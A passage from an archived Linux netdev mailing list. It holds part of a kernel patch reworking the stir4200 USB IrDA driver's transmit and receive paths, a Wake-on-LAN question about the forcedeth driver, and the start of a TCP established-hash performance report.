statistics */ struct qos_info qos; - unsigned long state; unsigned speed; /* Current speed */ wait_queue_head_t thr_wait; /* transmit thread wakeup */ struct completion thr_exited; pid_t thr_pid; - unsigned int tx_bulkpipe; - void *tx_data; /* wrapped data out */ - unsigned tx_len; - unsigned tx_newspeed; - unsigned tx_mtt; + spinlock_t tx_lock; + struct sk_buff *tx_pending; - unsigned int rx_intpipe; iobuff_t rx_buff; /* receive unwrap state machine */ - struct timespec rx_time; - - struct urb *rx_urbs[NUM_RX_URBS]; - void *rx_data[NUM_RX_URBS]; + struct timeval rx_time; + int rx_receiving; + struct urb *rx_urb; + void *rx_data; + struct timer_list rx_poll_timer; }; @@ -209,7 +201,6 @@ MODULE_DEVICE_TABLE(usb, dongles); -static int fifo_txwait(struct stir_cb *stir, unsigned space); static void stir_usb_receive(struct urb *urb, struct pt_regs *regs); /* Send control message to set dongle register */ @@ -239,6 +230,11 @@ MSECS_TO_JIFFIES(CTRL_TIMEOUT)); } +static inline int isfir(u32 speed) +{ + return (speed == 4000000); +} + /* * Prepare a FIR IrDA frame for transmission to the USB dongle. The * FIR transmit frame is documented in the datasheet. It consists of @@ -310,12 +306,13 @@ return wraplen + STIR_IRDA_HEADER; } -static unsigned wrap_sir_skb(struct sk_buff *skb, __u8 *buf) +static unsigned wrap_sir_skb(struct sk_buff *skb, __u8 *buf, + unsigned space) { __u16 wraplen; wraplen = async_wrap_skb(skb, buf + STIR_IRDA_HEADER, - STIR_FIFO_SIZE - STIR_IRDA_HEADER); + space - STIR_IRDA_HEADER); buf[0] = 0x55; buf[1] = 0xAA; buf[2] = wraplen & 0xff; @@ -325,6 +322,43 @@ } /* + * Take raw data and encapsulate as appropriate into + * a new socket buffer. + */ +static struct sk_buff *wrap_skb(struct sk_buff *skb, unsigned speed) +{ + struct sk_buff *nskb; + unsigned len; + + /* + * need enough space for worst case + * In addition to the stir-header we need 1 byte for each BOF+EOF + * plus space for the whole data and 16-bit CRC all probably escaped + * and thus doubled in size. Furthermore, depending on negotiation + * and/or turnaround delay there might be up to 163 xbofs. + * And we need to be careful with non-SIR speeds where we have + * 2+2 bytes for BOF/EOF and in the case of FIR even further + * 16 PA-bytes. And FIR-CRC is 32 bit, not 16. + */ + if (isfir(speed)) + len = STIR_IRDA_HEADER + 16 + 2 + 2*skb->len + 8 + 2; + else + len = STIR_IRDA_HEADER + 163 + 2*skb->len + 4 + 1; + + nskb = dev_alloc_skb(len); + if (likely(nskb)) { + if (isfir(speed)) + len = wrap_fir_skb(skb, nskb->data); + else + len = wrap_sir_skb(skb, nskb->data, len); + + skb_put(nskb, len); + } + + return nskb; +} + +/* * Frame is fully formed in the rx_buff so check crc * and pass up to irlap * setup for next receive @@ -333,8 +367,8 @@ { iobuff_t *rx_buff = &stir->rx_buff; int len = rx_buff->len - 4; + struct sk_buff *skb, *nskb; __u32 fcs; - struct sk_buff *nskb; if (unlikely(len <= 0)) { pr_debug("%s: short frame len %d\n", @@ -345,41 +379,46 @@ return; } - fcs = rx_buff->data[len] | - rx_buff->data[len+1] << 8 | - rx_buff->data[len+2] << 16 | - rx_buff->data[len+3] << 24; - - if (unlikely(fcs != ~(crc32_le(~0, rx_buff->data, len)))) { - pr_debug("%s: crc error\n", stir->netdev->name); - irda_device_set_media_busy(stir->netdev, TRUE); + fcs = ~(crc32_le(~0, rx_buff->data, len)); + if (fcs != le32_to_cpu(get_unaligned((u32 *)(rx_buff->data+len)))) { + pr_debug("crc error calc 0x%x len %d\n", fcs, len); stir->stats.rx_errors++; stir->stats.rx_crc_errors++; return; } - /* If can't get new buffer, just drop and reuse */ - nskb = dev_alloc_skb(IRDA_SKB_MAX_MTU); - if (unlikely(!nskb)) - ++stir->stats.rx_dropped; - else { - struct sk_buff *oskb = rx_buff->skb; + /* if frame is short then just copy it */ + if (len < IRDA_RX_COPY_THRESHOLD) { + nskb = dev_alloc_skb(len + 1); + if (unlikely(!nskb)) { + ++stir->stats.rx_dropped; + return; + } skb_reserve(nskb, 1); + skb = nskb; + memcpy(nskb->data, rx_buff->data, len); + } else { + nskb = dev_alloc_skb(rx_buff->truesize); + if (unlikely(!nskb)) { + ++stir->stats.rx_dropped; + return; + } + skb_reserve(nskb, 1); + skb = rx_buff->skb; + rx_buff->skb = nskb; + rx_buff->head = nskb->data; + } - /* Set correct length in socket buffer */ - skb_put(oskb, len); + skb_put(skb, len); - oskb->mac.raw = oskb->data; - oskb->protocol = htons(ETH_P_IRDA); - oskb->dev = stir->netdev; + skb->mac.raw = skb->data; + skb->protocol = htons(ETH_P_IRDA); + skb->dev = stir->netdev; - netif_rx(oskb); + netif_rx(skb); - stir->stats.rx_packets++; - stir->stats.rx_bytes += len; - rx_buff->skb = nskb; - rx_buff->head = nskb->data; - } + stir->stats.rx_packets++; + stir->stats.rx_bytes += len; rx_buff->data = rx_buff->head; rx_buff->len = 0; @@ -402,7 +441,6 @@ continue; /* Now receiving frame */ rx_buff->state = BEGIN_FRAME; - rx_buff->in_frame = TRUE; /* Time to initialize receive buffer */ rx_buff->data = rx_buff->head; @@ -424,6 +462,7 @@ if (byte == FIR_EOF) continue; rx_buff->state = INSIDE_FRAME; + rx_buff->in_frame = TRUE; /* fall through */ case INSIDE_FRAME: @@ -461,7 +500,6 @@ error_recovery: ++stir->stats.rx_errors; - irda_device_set_media_busy(stir->netdev, TRUE); rx_buff->state = OUTSIDE_FRAME; rx_buff->in_frame = FALSE; } @@ -478,11 +516,6 @@ &stir->rx_buff, bytes[i]); } -static inline int isfir(u32 speed) -{ - return (speed == 4000000); -} - static inline void unwrap_chars(struct stir_cb *stir, const __u8 *bytes, int length) { @@ -519,25 +552,26 @@ int i, err; __u8 mode; - pr_debug("%s: change speed %d\n", stir->netdev->name, speed); for (i = 0; i < ARRAY_SIZE(stir_modes); ++i) { if (speed == stir_modes[i].speed) goto found; } - ERROR("%s: invalid speed %d\n", stir->netdev->name, speed); + warn("%s: invalid speed %d", stir->netdev->name, speed); return -EINVAL; found: - pr_debug("%s: speed change from %d to %d\n", - stir->netdev->name, stir->speed, speed); + pr_debug("speed change from %d to %d\n", stir->speed, speed); + + /* Reset modulator */ + err = write_reg(stir, REG_CTRL1, CTRL1_SRESET); + if (err) + goto out; - /* Make sure any previous Tx is really finished. This happens - * when we answer an incomming request ; the ua:rsp and the - * speed change are bundled together, so we need to wait until - * the packet we just submitted has been sent. Jean II */ - if (fifo_txwait(stir, 0)) - return -EIO; + /* Undocumented magic to tweak the DPLL */ + err = write_reg(stir, REG_DPLL, 0x15); + if (err) + goto out; /* Set clock */ err = write_reg(stir, REG_PDCLK, stir_modes[i].pdclk); @@ -564,33 +598,13 @@ goto out; err = write_reg(stir, REG_CTRL1, (tx_power & 3) << 1); - - out: - stir->speed = speed; - return err; -} - -static int stir_reset(struct stir_cb *stir) -{ - int err; - - /* reset state */ - stir->rx_buff.in_frame = FALSE; - stir->rx_buff.state = OUTSIDE_FRAME; - stir->speed = -1; - - /* Undocumented magic to tweak the DPLL */ - err = write_reg(stir, REG_DPLL, 0x15); if (err) goto out; /* Reset sensitivity */ err = write_reg(stir, REG_CTRL2, (rx_sensitivity & 7) << 5); - if (err) - goto out; - - err = change_speed(stir, 9600); out: + stir->speed = speed; return err; } @@ -606,43 +620,49 @@ /* the IRDA wrapping routines don't deal with non linear skb */ SKB_LINEAR_ASSERT(skb); - if (unlikely(skb->len) == 0) /* speed change only */ - stir->tx_len = 0; - else if (isfir(stir->speed)) - stir->tx_len = wrap_fir_skb(skb, stir->tx_data); - else - stir->tx_len = wrap_sir_skb(skb, stir->tx_data); - - stir->stats.tx_packets++; - stir->stats.tx_bytes += skb->len; - - stir->tx_mtt = irda_get_mtt(skb); - stir->tx_newspeed = irda_get_next_speed(skb); - - if (!test_and_set_bit(STIR_STATE_TXREADY, &stir->state)) - wake_up(&stir->thr_wait); + spin_lock(&stir->tx_lock); + skb = xchg(&stir->tx_pending, skb); + wake_up(&stir->thr_wait); + spin_unlock(&stir->tx_lock); + + /* this should never happen unless stop/wakeup problem */ + if (unlikely(skb)) { + WARN_ON(1); + dev_kfree_skb(skb); + } - dev_kfree_skb(skb); return 0; } /* * Wait for the transmit FIFO to have space for next data + * + * If space < 0 then wait till FIFO completely drains. + * FYI: can take up to 13 seconds at 2400baud. */ -static int fifo_txwait(struct stir_cb *stir, unsigned space) +static int fifo_txwait(struct stir_cb *stir, int space) { int err; - unsigned count; __u8 regs[3]; - unsigned long timeout = jiffies + HZ/10; - for(;;) { - /* Read FIFO status and count */ - err = read_reg(stir, REG_FIFOCTL, regs, 3); - if (unlikely(err != 3)) { - WARNING("%s: FIFO register read error: %d\n", - stir->netdev->name, err); - return err; + /* Read FIFO status and count */ + while ((err = read_reg(stir, REG_FIFOCTL, regs, 3)) == 3) { + unsigned count; + + count = (unsigned)(regs[2] & 0x1f) << 8 | regs[1]; + pr_debug("fifo status 0x%x count %u\n", regs[0], count); + + /* error when receive/transmit fifo gets confused */ + if (regs[0] & FIFOCTL_RXERR) { + stir->stats.rx_fifo_errors++; + stir->stats.rx_errors++; + goto clear_fifo; + } + + if (regs[0] & FIFOCTL_TXERR) { + stir->stats.tx_fifo_errors++; + stir->stats.tx_errors++; + goto clear_fifo; } /* is fifo receiving already, or empty */ @@ -658,40 +678,42 @@ || !netif_device_present(stir->netdev)) return -ESHUTDOWN; - count = (unsigned)(regs[2] & 0x1f) << 8 | regs[1]; - - pr_debug("%s: fifo status 0x%x count %u\n", - stir->netdev->name, regs[0], count); - /* only waiting for some space */ - if (space && STIR_FIFO_SIZE - 4 > space + count) + if (space >= 0 && STIR_FIFO_SIZE - 4 > space + count) return 0; - if (time_after(jiffies, timeout)) { - WARNING("%s: transmit fifo timeout status=0x%x count=%d\n", - stir->netdev->name, regs[0], count); - ++stir->stats.tx_errors; - irda_device_set_media_busy(stir->netdev, TRUE); - return -ETIMEDOUT; - } - /* estimate transfer time for remaining chars */ wait_ms((count * 8000) / stir->speed); } + + warn("%s: FIFO register read error: %d", stir->netdev->name, err); + + return err; + + clear_fifo: + err = write_reg(stir, REG_FIFOCTL, FIFOCTL_CLR); + if (err) + return err; + err = write_reg(stir, REG_FIFOCTL, 0); + if (err) + return err; + + return 0; } /* Wait for turnaround delay before starting transmit. */ -static void turnaround_delay(long us, const struct timespec *last) +static void turnaround_delay(const struct stir_cb *stir, long us) { long ticks; - struct timespec now = CURRENT_TIME; + struct timeval now; if (us <= 0) return; - us -= (now.tv_sec - last->tv_sec) * USEC_PER_SEC; - us -= (now.tv_nsec - last->tv_nsec) / NSEC_PER_USEC; + do_gettimeofday(&now); + us -= (now.tv_sec - stir->rx_time.tv_sec) * USEC_PER_SEC; + us -= now.tv_usec - stir->rx_time.tv_usec; if (us < 10) return; @@ -709,75 +731,71 @@ */ static void receive_start(struct stir_cb *stir) { - int i; - - if (test_and_set_bit(STIR_STATE_RECEIVING, &stir->state)) - return; - - if (fifo_txwait(stir, 0)) - return; - - for (i = 0; i < NUM_RX_URBS; i++) { - struct urb *urb = stir->rx_urbs[i]; + int rc; - usb_fill_int_urb(urb, stir->usbdev, stir->rx_intpipe, - stir->rx_data[i], STIR_FIFO_SIZE, - stir_usb_receive, stir, rx_interval); + /* reset state */ + stir->rx_receiving = 1; - if (usb_submit_urb(urb, GFP_KERNEL)) - urb->status = -EINVAL; - } + stir->rx_buff.in_frame = FALSE; + stir->rx_buff.state = OUTSIDE_FRAME; - if (i == 0) { - /* if nothing got queued, then just retry next time */ - if (net_ratelimit()) - WARNING("%s: no receive buffers avaiable\n", - stir->netdev->name); + stir->rx_urb->status = 0; + usb_fill_bulk_urb(stir->rx_urb, stir->usbdev, + usb_rcvbulkpipe(stir->usbdev, 2), + stir->rx_data, STIR_FIFO_SIZE, + stir_usb_receive, stir); + + rc = usb_submit_urb(stir->rx_urb, GFP_KERNEL); + if (rc) { + info("%s: receive usb submit failed %d", + stir->netdev->name, rc); - clear_bit(STIR_STATE_RECEIVING, &stir->state); + stir->rx_receiving = 0; } } /* Stop all pending receive Urb's */ static void receive_stop(struct stir_cb *stir) { - int i; + stir->rx_receiving = 0; + del_timer_sync(&stir->rx_poll_timer); + usb_unlink_urb(stir->rx_urb); - for (i = 0; i < NUM_RX_URBS; i++) { - struct urb *urb = stir->rx_urbs[i]; - usb_unlink_urb(urb); - } + if (stir->rx_buff.in_frame) + stir->stats.collisions++; } - -/* Send wrapped data (in tx_data) to device */ -static void stir_send(struct stir_cb *stir) +/* + * Wrap data in socket buffer and send it. + */ +static void stir_send(struct stir_cb *stir, struct sk_buff *skb) { - int rc; - - if (test_and_clear_bit(STIR_STATE_RECEIVING, &stir->state)) { - receive_stop(stir); + struct sk_buff *wskb = wrap_skb(skb, stir->speed); - turnaround_delay(stir->tx_mtt, &stir->rx_time); + if (unlikely(!wskb)) { + stir->stats.tx_errors++; + return; + } - if (stir->rx_buff.in_frame) - ++stir->stats.collisions; + /* if receiving, need to turnaround */ + if (stir->rx_receiving) { + receive_stop(stir); + turnaround_delay(stir, irda_get_mtt(skb)); } - else if (fifo_txwait(stir, stir->tx_len)) - return; /* shutdown or major errors */ + else if (fifo_txwait(stir, wskb->len)) + goto out; /* shutdown or error don't send */ + stir->stats.tx_packets++; + stir->stats.tx_bytes += skb->len; stir->netdev->trans_start = jiffies; - pr_debug("%s: send %d\n", stir->netdev->name, stir->tx_len); - rc = usb_bulk_msg(stir->usbdev, - stir->tx_bulkpipe, - stir->tx_data, stir->tx_len, - NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT)); - - if (unlikely(rc)) { - WARNING("%s: usb bulk message failed %d\n", - stir->netdev->name, rc); + pr_debug("send %d (%d)\n", skb->len, wskb->len); + if (usb_bulk_msg(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1), + wskb->data, wskb->len, + NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT))) stir->stats.tx_errors++; - } + + out: + dev_kfree_skb(wskb); } /* @@ -787,6 +805,7 @@ { struct stir_cb *stir = arg; struct net_device *dev = stir->netdev; + struct sk_buff *skb; DECLARE_WAITQUEUE(wait, current); daemonize("%s", dev->name); @@ -796,44 +815,59 @@ && netif_device_present(dev) && !signal_pending(current)) { - /* make swsusp happy with our thread */ + /* if suspending, then power off and wait */ if (current->flags & PF_FREEZE) { - receive_stop(stir); + if (stir->rx_receiving) + receive_stop(stir); + else + fifo_txwait(stir, -1); write_reg(stir, REG_CTRL1, CTRL1_TXPWD|CTRL1_RXPWD); refrigerator(PF_IOTHREAD); - stir_reset(stir); + if (change_speed(stir, stir->speed)) + break; } /* if something to send? */ - if (test_and_clear_bit(STIR_STATE_TXREADY, &stir->state)) { - unsigned new_speed = stir->tx_newspeed; - - /* Note that we may both send a packet and - * change speed in some cases. Jean II */ - - if (stir->tx_len != 0) - stir_send(stir); - - if (stir->speed != new_speed) - change_speed(stir, new_speed); - - netif_wake_queue(stir->netdev); + skb = xchg(&stir->tx_pending, NULL); + if (skb) { + unsigned new_speed = irda_get_next_speed(skb); + netif_wake_queue(dev); + + if (skb->len > 0) + stir_send(stir, skb); + dev_kfree_skb(skb); + + if (stir->speed != new_speed) { + if (fifo_txwait(stir, -1) || + change_speed(stir, new_speed)) + break; + } continue; } - if (irda_device_txqueue_empty(dev)) + /* nothing to send? start receiving */ + if (!stir->rx_receiving + && irda_device_txqueue_empty(dev)) { + /* Wait otherwise chip gets confused. */ + if (fifo_txwait(stir, -1)) + break; receive_start(stir); + } - set_task_state(current, TASK_INTERRUPTIBLE); - add_wait_queue(&stir->thr_wait, &wait); - if (test_bit(STIR_STATE_TXREADY, &stir->state)) - __set_task_state(current, TASK_RUNNING); - else - schedule_timeout(HZ/10); - remove_wait_queue(&stir->thr_wait, &wait); + /* sleep if nothing to send */ + spin_lock(&stir->tx_lock); + if (!stir->tx_pending) { + set_task_state(current, TASK_INTERRUPTIBLE); + add_wait_queue(&stir->thr_wait, &wait); + spin_unlock(&stir->tx_lock); + schedule(); + spin_lock(&stir->tx_lock); + remove_wait_queue(&stir->thr_wait, &wait); + } + spin_unlock(&stir->tx_lock); } complete_and_exit (&stir->thr_exited, 0); @@ -848,56 +882,41 @@ static void stir_usb_receive(struct urb *urb, struct pt_regs *regs) { struct stir_cb *stir = urb->context; - int err; - - if (!netif_running(stir->netdev)) - return; - switch (urb->status) { - case 0: - if(urb->actual_length > 0) { - pr_debug("%s: receive %d\n", - stir->netdev->name, urb->actual_length); + if (stir->rx_receiving && urb->status == 0) { + if (urb->actual_length > 0) { + pr_debug("receive %d\n", urb->actual_length); unwrap_chars(stir, urb->transfer_buffer, urb->actual_length); - + stir->netdev->last_rx = jiffies; - stir->rx_time = CURRENT_TIME; + do_gettimeofday(&stir->rx_time); } - break; - - case -ECONNRESET: /* killed but pending */ - case -ENOENT: /* killed but not in use */ - case -ESHUTDOWN: - /* These are normal errors when URB is cancelled */ - stir->rx_buff.in_frame = FALSE; - stir->rx_buff.state = OUTSIDE_FRAME; - return; - default: - WARNING("%s: received status %d\n", stir->netdev->name, - urb->status); - stir->stats.rx_errors++; - urb->status = 0; + mod_timer(&stir->rx_poll_timer, + jiffies + MSECS_TO_JIFFIES(rx_interval)); } +} - /* kernel thread is stopping receiver don't resubmit */ - if (!test_bit(STIR_STATE_RECEIVING, &stir->state)) - return; - - /* resubmit existing urb */ - err = usb_submit_urb(urb, GFP_ATOMIC); +/* + * Timeout after last receive, time to resubmit + */ +static void stir_poll_timeout(unsigned long data) +{ + struct stir_cb *stir = (struct stir_cb *) data; + int err; - /* in case of error, the kernel thread will restart us */ + /* Resubmit same urb to pick up more data */ + err = usb_submit_urb(stir->rx_urb, GFP_ATOMIC); if (err) { - WARNING("%s: usb receive submit error: %d\n", - stir->netdev->name, err); - urb->status = -ENOENT; + stir->rx_receiving = 0; wake_up(&stir->thr_wait); + warn("usb resubmit failed %d", err); } } + /* * Function stir_net_open (dev) * @@ -906,48 +925,46 @@ static int stir_net_open(struct net_device *netdev) { struct stir_cb *stir = netdev->priv; - int i, err; + int err; char hwname[16]; - err = stir_reset(stir); + err = usb_clear_halt(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1)); + if (err) + goto err_out1; + err = usb_clear_halt(stir->usbdev, usb_rcvbulkpipe(stir->usbdev, 2)); + if (err) + goto err_out1; + err = change_speed(stir, 9600); if (err) goto err_out1; err = -ENOMEM; - /* Note: Max SIR frame possible is 4273 */ - stir->tx_data = kmalloc(STIR_FIFO_SIZE, GFP_KERNEL); - if (!stir->tx_data) { - ERROR("%s(), alloc failed for rxbuf!\n", __FUNCTION__); - goto err_out1; - } - /* Initialize for SIR/FIR to copy data directly into skb. */ + stir->rx_receiving = 0; + init_timer(&stir->rx_poll_timer); + stir->rx_poll_timer.function = stir_poll_timeout; + stir->rx_poll_timer.data = (unsigned long) stir; stir->rx_buff.truesize = IRDA_SKB_MAX_MTU; stir->rx_buff.skb = dev_alloc_skb(IRDA_SKB_MAX_MTU); if (!stir->rx_buff.skb) { - ERROR("%s(), dev_alloc_skb() failed for rxbuf!\n", - __FUNCTION__); - goto err_out2; + err("dev_alloc_skb() failed for rxbuf!"); + goto err_out1; } skb_reserve(stir->rx_buff.skb, 1); stir->rx_buff.head = stir->rx_buff.skb->data; - stir->rx_time = CURRENT_TIME; + do_gettimeofday(&stir->rx_time); - /* Allocate N receive buffer's and urbs */ - for (i = 0; i < NUM_RX_URBS; i++) { - stir->rx_urbs[i] = usb_alloc_urb(0, GFP_KERNEL); - if (!stir->rx_urbs[i]){ - ERROR("%s(), usb_alloc_urb failed\n", __FUNCTION__); - goto err_out3; - } + stir->rx_urb = usb_alloc_urb(0, GFP_KERNEL); + if (!stir->rx_urb) { + err("usb_alloc_urb failed"); + goto err_out2; + } - stir->rx_data[i] = kmalloc(STIR_FIFO_SIZE, GFP_KERNEL); - if (!stir->rx_data) { - usb_free_urb(stir->rx_urbs[i]); - ERROR("%s(), alloc failed for rxbuf!\n", __FUNCTION__); - goto err_out3; - } + stir->rx_data = kmalloc(STIR_FIFO_SIZE, GFP_KERNEL); + if (!stir->rx_data) { + err("alloc failed for rxbuf"); + goto err_out3; } /* @@ -958,8 +975,8 @@ sprintf(hwname, "usb#%d", stir->usbdev->devnum); stir->irlap = irlap_open(netdev, &stir->qos, hwname); if (!stir->irlap) { - ERROR("%s(): irlap_open failed\n", __FUNCTION__); - goto err_out3; + err("irlap_open failed"); + goto err_out4; } /** Start kernel thread for transmit. */ @@ -967,25 +984,22 @@ CLONE_FS|CLONE_FILES); if (stir->thr_pid < 0) { err = stir->thr_pid; - WARNING("%s: unable to start kernel thread\n", - stir->netdev->name); - goto err_out4; + err("unable to start kernel thread"); + goto err_out5; } netif_start_queue(netdev); return 0; - err_out4: + err_out5: irlap_close(stir->irlap); + err_out4: + kfree(stir->rx_data); err_out3: - while(--i >= 0) { - usb_free_urb(stir->rx_urbs[i]); - kfree(stir->rx_data[i]); - } - kfree_skb(stir->rx_buff.skb); + usb_free_urb(stir->rx_urb); err_out2: - kfree(stir->tx_data); + kfree_skb(stir->rx_buff.skb); err_out1: return err; } @@ -999,7 +1013,6 @@ static int stir_net_close(struct net_device *netdev) { struct stir_cb *stir = netdev->priv; - int i; /* Stop transmit processing */ netif_stop_queue(netdev); @@ -1007,15 +1020,11 @@ /* Kill transmit thread */ kill_proc(stir->thr_pid, SIGTERM, 1); wait_for_completion(&stir->thr_exited); - kfree(stir->tx_data); - clear_bit(STIR_STATE_RECEIVING, &stir->state); - receive_stop(stir); - - for (i = 0; i < NUM_RX_URBS; i++) { - usb_free_urb(stir->rx_urbs[i]); - kfree(stir->rx_data[i]); - } + /* Mop up receive urb's */ + usb_unlink_urb(stir->rx_urb); + usb_free_urb(stir->rx_urb); + kfree(stir->rx_data); kfree_skb(stir->rx_buff.skb); /* Stop and remove instance of IrLAP */ @@ -1057,7 +1066,7 @@ case SIOCGRECEIVING: /* Only approximately true */ - irq->ifr_receiving = test_bit(STIR_STATE_RECEIVING, &stir->state); + irq->ifr_receiving = stir->rx_receiving; break; default: @@ -1077,53 +1086,6 @@ } /* - * Parse the various endpoints and find the one we need. - * - * The endpoint are the pipes used to communicate with the USB device. - * The spec defines 2 endpoints of type bulk transfer, one in, and one out. - * These are used to pass frames back and forth with the dongle. - */ -static int stir_setup_usb(struct stir_cb *stir, struct usb_interface *intf) -{ - struct usb_device *usbdev = interface_to_usbdev(intf); - const struct usb_host_interface *interface - = &intf->altsetting[intf->act_altsetting]; - const struct usb_endpoint_descriptor *ep_in = NULL; - const struct usb_endpoint_descriptor *ep_out = NULL; - int i; - - if (interface->desc.bNumEndpoints != 2) { - WARNING("%s: expected two endpoints\n", __FUNCTION__); - return -ENODEV; - } - - for(i = 0; i < interface->desc.bNumEndpoints; i++) { - const struct usb_endpoint_descriptor *ep - = &interface->endpoint[i].desc; - - if ((ep->bmAttributes & USB_ENDPOINT_XFERTYPE_MASK) - == USB_ENDPOINT_XFER_BULK) { - /* We need to find an IN and an OUT */ - if ((ep->bEndpointAddress & USB_ENDPOINT_DIR_MASK) == USB_DIR_IN) - ep_in = ep; - else - ep_out = ep; - } else - WARNING("%s: unknown endpoint type 0x%x\n", - __FUNCTION__, ep->bmAttributes); - } - - if (!ep_in || !ep_out) - return -EIO; - - stir->tx_bulkpipe = usb_sndbulkpipe(usbdev, - ep_out->bEndpointAddress & USB_ENDPOINT_NUMBER_MASK); - stir->rx_intpipe = usb_rcvintpipe(usbdev, - ep_in->bEndpointAddress & USB_ENDPOINT_NUMBER_MASK); - return 0; -} - -/* * This routine is called by the USB subsystem for each new device * in the system. We need to check if the device is ours, and in * this case start handling it. @@ -1149,9 +1111,9 @@ stir->netdev = net; stir->usbdev = dev; - ret = stir_setup_usb(stir, intf); + ret = usb_reset_configuration(dev); if (ret != 0) { - ERROR("%s(), Bogus endpoints...\n", __FUNCTION__); + err("usb reset configuration failed"); goto err_out2; } @@ -1172,6 +1134,7 @@ init_completion (&stir->thr_exited); init_waitqueue_head (&stir->thr_wait); + spin_lock_init(&stir->tx_lock); /* Override the network functions we need to use */ net->hard_start_xmit = stir_hard_xmit; @@ -1180,10 +1143,6 @@ net->get_stats = stir_net_get_stats; net->do_ioctl = stir_net_ioctl; - ret = stir_reset(stir); - if (ret) - goto err_out2; - ret = register_netdev(net); if (ret != 0) goto err_out2; @@ -1206,23 +1165,14 @@ static void stir_disconnect(struct usb_interface *intf) { struct stir_cb *stir = usb_get_intfdata(intf); - struct net_device *net; - usb_set_intfdata(intf, NULL); if (!stir) return; - /* Stop transmitter */ - net = stir->netdev; - netif_device_detach(net); - - /* Remove netdevice */ - unregister_netdev(net); + unregister_netdev(stir->netdev); + free_netdev(stir->netdev); - /* No longer attached to USB bus */ - stir->usbdev = NULL; - - free_netdev(net); + usb_set_intfdata(intf, NULL); } From A.Verweij2@ewi.tudelft.nl Fri Feb 27 16:40:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 16:40:26 -0800 (PST) Received: from mailhst2.its.tudelft.nl (mailhst2.its.tudelft.nl [130.161.34.250]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1S0eJKO030096 for ; Fri, 27 Feb 2004 16:40:20 -0800 Received: from elektron.its.tudelft.nl (elektron.its.tudelft.nl [130.161.33.15]) by mailhst2.its.tudelft.nl (8.11.6p2/8.11.6) with ESMTP id i1S0eHP12982; Sat, 28 Feb 2004 01:40:17 +0100 (MET) Received: from localhost (verwei90@localhost) by elektron.its.tudelft.nl (8.9.3 (PHNE_26305)/8.9.3) with ESMTP id BAA13677; Sat, 28 Feb 2004 01:40:16 +0100 (MET) Date: Sat, 28 Feb 2004 01:40:16 +0100 (MET) From: Arjen Verweij Reply-To: a.verweij@student.tudelft.nl To: Carl-Daniel Hailfinger cc: netdev@oss.sgi.com Subject: Re: [Forcedeth] Wake-on-LAN support? In-Reply-To: <400CACEB.6050307@gmx.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3638 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: A.Verweij2@ewi.tudelft.nl Precedence: bulk X-list: netdev Version 0.23 of forcedeth probably adds nice irq quirk checking for when the kernel is running, but when I do evil stuff, like putting the NIC to sleep (hard setting it to D3 with pci-config), the kernel keeps printing one or more of the debug messages (when halting) about irqs that were added and will no longer shut down. My current fix is replacing the v0.23 from 2.6.3 with the v0.18. v0.18 also complains about the receiver remaining busy, but at least the shutdown process is continued. What I still don't understand is why I need a device driver at all to set the power state of the NIC. If I unload forcedeth before shutting down, I can set D3 all I want, but the machine will not listen to magic packets. I'll add a section to my page about nforce2-c1-disconnect related lockups about how to get functional WOL, and post the link here when it's ready. I feel that this is useful information, because I cannot get a cheap card with a WOL cable for my mobo, since there is no WOL connector *sigh* Regards, Arjen On Tue, 20 Jan 2004, Carl-Daniel Hailfinger wrote: > Arjen Verweij wrote: > > L.S., > > > > First, many thanks for your efforts. The driver works beautifully here, > > with 2.4.23 and 2.6.0-test11 alike. > > > > I was wondering if it is possible to add Wake-on-LAN support to the > > driver. NVidia claims their binary driver supports WOL, but it doesn't > > work one bit. It is possible to look into this? > > > > I have filed a bugtracker with the ACPI people, but they are somewhat > > understandably preoccupied with fixing laptop woes. > > > > URL: > > http://bugzilla.kernel.org/show_bug.cgi?id=1636 > > > > I am able to enable WOL at shutdown with pci-config from scyld.com, but > > this is obviously an ugly fix. > > Hmmm... normally I would say enabling WOL is the job of the BIOS. > > Comments anyone? > > Setting Wake-on-LAN patterns will be supported in a future version of > forcedeth but right now I'm swamped with university work. > > > Carl-Daniel > -- > http://www.hailfinger.org/ > > > From anton@samba.org Fri Feb 27 18:29:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 27 Feb 2004 18:29:33 -0800 (PST) Received: from lists.samba.org (dp.samba.org [66.70.73.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1S2TOKO032237 for ; Fri, 27 Feb 2004 18:29:24 -0800 Received: by lists.samba.org (Postfix, from userid 504) id 759282C0DA; Sat, 28 Feb 2004 02:29:34 +0000 (GMT) Date: Sat, 28 Feb 2004 13:25:37 +1100 From: Anton Blanchard To: netdev@oss.sgi.com Cc: linux-kernel@vger.kernel.org, davem@redhat.com, kenneth.w.chen@intel.com, olof@austin.ibm.com Subject: [PATCH] performance problem with established hash Message-ID: <20040228022537.GR5801@krispykreme> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3639 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: anton@samba.org Precedence: bulk X-list: netdev Hi, An HTTP stress test on latest 2.6 BK shows up a problem in tcp_r4_rcv: 15.0125 tcp_v4_rcv 8.2719 e1000_xmit_frame 3.2153 qdisc_restart 3.1675 skb_release_data 15% in tcp_v4_rcv, ouch. It turns out almost all of this is walking the established hash looking for stuff in time wait: /* Must check for a TIME_WAIT'er before going to listener hash. */ sk_for_each(sk, node, &(head + tcp_ehash_size)->chain) { if (TCP_IPV4_TW_MATCH(sk, acookie, saddr, daddr, ports, dif)) goto hit; } Looking at the logic for sizing the established hash, we clamp at 10 pages. That doesnt sound right: if (num_physpages >= (128 * 1024)) goal = num_physpages >> (21 - PAGE_SHIFT); else goal = num_physpages >> (23 - PAGE_SHIFT); if (!thash_entries) goal = min(10UL, goal); else goal = (thash_entries * sizeof(struct tcp_ehash_bucket)) >> PAGE_SHIFT; Sure enough things arent happy: Older 2.6 kernel: TCP: Hash tables configured 